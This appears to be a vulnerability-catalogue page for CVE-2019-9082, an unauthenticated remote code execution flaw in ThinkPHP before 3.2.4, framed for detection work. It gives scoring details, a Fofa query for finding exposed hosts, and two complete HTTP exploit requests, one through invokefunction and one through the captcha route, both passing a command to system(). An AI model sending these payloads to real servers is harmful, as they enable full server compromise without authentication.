🔙 목록으로 돌아가기

CVE-2019-9082: ThinkPHP < 3.2.4 - Remote Code Execution

TitleThinkPHP < 3.2.4 - Remote Code Execution
Author0xanis
SeverityHigh
ImpactAttackers can execute arbitrary system commands true the server without authentication, potentially leading to full system compromise.
RemediationUpdate to ThinkPHP 3.2.4 or later, or apply vendor patches.
CVSS Score8.8
EPSS Score0.93965
CWE IDCWE-94
Fofa Queryapp="ThinkPHP"
Tags cve cve2019 thinkphp open_source_bms none_cms rce kev vkev

🔍 Vulnerability Description

ThinkPHP before 3.2.4, as used in Open Source BMS v1.1.1 and other products, allows Remote Command Execution via the s parameter in index.php through the invokefunction functionality.

🌐 HTTP Request

GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20thinkphp%20%7C%20rev HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /index.php?s=captcha HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.20
Connection: close
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20thinkphp%20%7C%20rev

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9082.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-9082.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A